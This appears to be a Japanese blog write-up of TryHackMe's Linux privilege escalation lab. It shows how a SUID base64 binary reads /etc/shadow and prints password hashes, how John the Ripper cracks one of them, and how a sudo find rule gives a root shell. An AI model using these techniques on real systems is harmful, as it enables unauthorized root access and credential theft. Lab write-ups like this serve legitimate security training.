Linux Privilege Escalation

https://tryhackme.com/room/linprivesc

tryhackmeのLinuxの権限昇格が、面白かったのでメモ。

Task12

与えられた情報を元に、sshで対象のサーバーに入り、ヒントがないかあさる。

$ ssh leonard@xxx.xxx.xxx.xxx

$ cat .bash_histroy # 特に何もなし

$ pwd
/home/lenard

$ ls
perl5 # 一瞬怪しいと思ったが何もなし

一度外から何かあるか探る。22しかあいてないので、showmountとか、enum4linuxとかは除外。純粋に中からの権限昇格が必要らしい。

$ rustscan -a xxx.xxx.xxx.xxx --ulimit 5000
Open 10.10.166.195:22

もう一度sshして中を探る。

$ ls -l /home
合計 4
drwx------.  7 leonard leonard  213  4月 19 02:32 leonard
drwx------. 16 missy   missy   4096  6月  7  2021 missy
drwx------.  2 root    root      23  6月  7  2021 rootflag

rootflagといういかにもなディレクトリと、missyというユーザーを発見。/etc/passwdもみてみる。

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash

(・・・省略)

missy:x:1001:1001::/home/missy:/bin/bash

いる。

$ ls -l /etc/shadow
----------. 1 root root 1543  6月  7  2021 /etc/shadow

そんなにあまくはない。

soduでなにかセットされているか?が、なにもない。

$ sudo -l

SUIDの設定を探る。

$ find / -perm -u+s 2>/dev/null
/usr/bin/base64
/usr/bin/ksu
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chage
/usr/bin/newgrp
/usr/bin/staprun
/usr/bin/chfn
/usr/bin/su
/usr/bin/chsh
/usr/bin/Xorg
/usr/bin/mount
/usr/bin/umount
/usr/bin/crontab
/usr/bin/pkexec
/usr/bin/at
/usr/bin/sudo
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/usernetctl
/usr/sbin/userhelper
/usr/sbin/mount.nfs
/usr/lib/polkit-1/polkit-agent-helper-1

ゲット!base64は激アツ!!

早速、/etc/shadowを解析。

$ which base64
/usr/bin/base64
$ ls -l /usr/bin/base64
-rwsr-xr-x. 1 root root 37360  8月 20  2019 /usr/bin/base64

# ↑間違いなく行ける予感。

$ /usr/bin/base64 /etc/shadow | /usr/bin/base64 --decode
root:$6$DWBzMoiprTTJ4gbW$g0szmtfn3HYFQweUPpSUCgHXZLzVii5o6PM0Q2oMmaDD9oGUSxe1yvKbnYsaSYHrUEQXTjIwOW/yrzV5HtIL51::0:99999:7:::

(・・・省略)

$ missy:$6$BjOlWE21$HwuDvV1iSiySCNpA3Z9LxkxQEqUAdZvObTxJxMoCp/9zRVCi6/zrlMlAQPAxfwaD2JCUypk4HaNzI3rPVqKHb/:18785:0:99999:7:::

SHA512-criptで、ハッシュ化されたパスワードをゲット。

ローカルに戻り解析をかける。

$ vi hash.txt #ここにrootとmissyの行をそのまま貼り付ける。

$ john hash.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
*********        (missy)     
Proceeding with incremental:ASCII
1g 0:00:10:29  3/3 0.001589g/s 7994p/s 8000c/s 8000C/s 18lmst..17luka
Use the "--show" option to display all of the cracked passwords reliably
Session aborted

missyのパスワードをゲット(***********)の部分。

早速sshに戻り、missyになってみる。

$ su missy
Password: 上記で取得したやつ

$ whoami
missy

$ cd # missyのディレクトリへ移動

$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos  perl5

$ ls Documents
flag1.txt

とりあえず、1つ目のフラグゲット。2個めのフラグを探す。

先程は、leonardではsudo権限が無かったが、missyでも確認をしてみる。

sudo -l
ALL) NOPASSWD: /usr/bin/find

ほう、いきなりfindにsudo権限が付いている。もうクリアしたも同然。

いつもの、GTFOBinsにお世話になる。

https://gtfobins.github.io/

$ sudo find . -exec /bin/sh \; -quit
sh-4.2# 

思ったとおり、rootのシェルゲット。

そして、2つ目のフラグもゲット。

sh-4.2# ls /home/rootflag/
flag2.txt

これで終了。

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です